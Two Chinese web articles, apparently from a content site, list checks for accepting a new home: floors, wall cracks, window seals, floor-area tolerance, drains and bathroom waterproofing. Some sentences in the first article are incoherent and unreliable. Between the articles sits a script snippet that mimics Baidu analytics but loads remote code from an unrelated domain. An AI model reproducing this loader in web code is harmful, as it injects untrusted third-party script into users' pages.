验收新房注意事项有哪些值得关注

验收新房如果不谨慎，不仅会影响房屋质量，还会带来很多安全隐患。事实上，新房的检查是必要的，因为会影响到新房后期的装修，而且还关系到家人的安全，验收新房注意事项有哪几点呢？一般有房屋地面的平整度、墙面上裂痕情况以及门窗轨道顺畅度。1.房屋地面的平整度使用长标尺或带有水平液柱的特殊标尺靠墙检查平整度，同时检查墙面是否有划痕和裂缝。墙面是否有断点，当石灰是由熟石灰制成时，它将不均匀地酿造。当应用于墙壁时，它将很容易形成断点。用铁器敲击爆点，会导致大面积松动并掉落。验收新房注意事项里面楼地面是否平整一定要特别关注。2.墙面上裂痕情况检查墙壁是否有裂缝，裂缝情况有这几种：温度、沉降、变形、强度等裂缝。外面是否有铁丝网或钢筋，如果在检查过程中发现上述墙壁问题，可以追究开发商修补后再签字。3.门窗轨道顺畅度关于门窗的检查，最重要的是检查门窗的轨道是否光滑是否严实。否则，房子里会漏风，特别是在寒冷的北方。另一个是检查新房的门窗是否损坏。如果窗口的框架变形，在检查过程中发现很多问题，直接通知开发人员，他们将很快修复，如果业主签了名，再找开发人员解决这些问题，办事效率就很慢。除了上述的验收新房注意事项外，业主还需要学习更多的新房验收知识，还有个简单的方法，如果业主有熟悉验收新房的朋友，可以带着朋友去验收，在入住新房之前，或者在装修计划之前之前，业主有必要检查购买的房屋，然后对合同进最后一步明确，多看看验收新房注意事项。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

新房收房的时候注意事项有哪些内容

很多父母都是穷尽一生的积蓄为子女购买一套房子，而现在大多又都是期房买卖，所以在新房验收时大家一定要注意怎么做才能不出现问题，收房的时候注意事项有哪些内容，是大家应该了解的知识。收房的时候注意事项第一点：因为房屋合同上的建筑面积与实际交工的建筑面积，基本都有一定的误差，所以在验房的时候，大家一定要注意这一点，实际测量一下自己购买的商品房的建筑面积，如果误差超过正负3%就可以索赔。当然如果建筑误差在3%以内的时候，可以把多余或者减少部分的房款补齐即可。收房的时候注意事项第二点：关于门窗气密性的问题，检查时观看门窗是否能关严，是否有变形的情况。可以用一张纸夹在窗户里，等窗户关上以后，看纸是否能抽出来检测窗户的密闭性。收房的时候注意事项第三点：观察墙体是否有裂痕或者是空洞的情况。可以用手轻轻敲击墙面，根据声音进行辨别。如果发现有问题，一定要记住问题的地点以便以后处理的时候方便。收房的时候注意事项第四点：检查一下下水是否通畅。因为在房屋施工过程中，有可能会有水泥块或石块掉进下水管中，有可能堵塞下水管，新房验收的时候通过往下水管中浇水测试一下下水管是否通畅。收房的时候注意事项第五点：检查卫生间地面防水情况，卫生间地面防水是非常重要的，因为一旦装修完成之后发现漏水，如果想要进行修补是很费力气的，所以在新房验收的时候，可以进行一下防水测验，具体方法为用物品把下水管口堵住，然后放一定高度的水，一天以后看水位是否下降来看防水做得是否合格。除了以上介绍的内容，收房注意事项中还有一些零散的小问题，比如说看墙面是否平整、地面是否平整、各种管道是否齐全，屋内该有的设施是否具备等。以上这些就是关于房屋验收时应该注意的一些内容，只有把这些内容都记住，做到，那最后到业主手中的房子才是完美的。